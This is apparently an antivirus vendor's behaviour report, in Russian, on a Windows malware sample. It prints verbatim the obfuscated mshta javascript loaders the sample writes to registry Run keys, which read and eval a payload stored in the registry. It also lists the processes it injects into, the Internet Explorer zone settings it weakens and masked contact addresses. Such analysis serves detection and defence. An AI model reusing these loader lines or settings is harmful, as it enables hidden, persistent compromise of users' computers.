Техническая информация
Для обеспечения автозапуска и распространения:
Модифицирует следующие ключи реестра:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:aEIh68xE="Dc";T85s=new%20ActiveXObject("WScript.Shell");VOVs9LR="ShyNh";gA8V3d=T85s.RegRead("HKCU\\software\\aa987f17\\4c0fad51");rqd6nuasn="jf";eval(gA8V3d);Vh07SUyKM="OXco";'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] ' 85580900' = 'mshta javascript:hk7kwXXO1="ecLuk3A6Hv";Q4A=new%20ActiveXObject("WScript.Shell");m2cMmNP0="PRq";gD30nN=Q4A.RegRead("HKLM\\software\\aa987f17\\4c0fad51");GW0p4vDjZ="VSR2";eval(gD30nN);eJ1TP5mlD="1O";'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'ccb6ff7' = 'mshta javascript:rIaCHX79="kIsN";k08R=new%20ActiveXObject("WScript.Shell");cj4OofPf="BhDuCMlHkd";dj42yq=k08R.RegRead("HKLM\\software\\aa987f17\\4c0fad51");C7XKjAVa="Q3";eval(dj42yq);FnUqAC2Wr="8Z6W1OO1";'
Вредоносные функции:
Запускает на исполнение:
- '%WINDIR%\explorer.exe'
Внедряет код в
следующие пользовательские процессы:
- java.exe
- javaw.exe
- firefox.exe
- iexplore.exe
Изменяет следующие настройки браузера Windows Internet Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1407' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1402' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1400' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1] '1601' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1407' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1402' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1400' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1206' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1809' = '00000003'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '2300' = '00000000'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3] '1601' = '00000000'
Изменения в файловой системе:
Самоудаляется.
Сетевая активность:
Подключается к:
- '19#.#3.179.206':80
- '10#.#16.200.39':80
- '21#.#93.102.179':80
- '24.##1.26.71':80
- '22#.#47.176.32':80
- '17#.#34.233.55':80
- '23#.3.93.35':80
- '12#.#1.73.40':80
UDP:
- DNS ASK dn#.##ftncsi.com
- DNS ASK b1##mini.ru
Другое:
Ищет следующие окна:
- ClassName: 'Shell_TrayWnd' WindowName: ''
- ClassName: 'Indicator' WindowName: ''
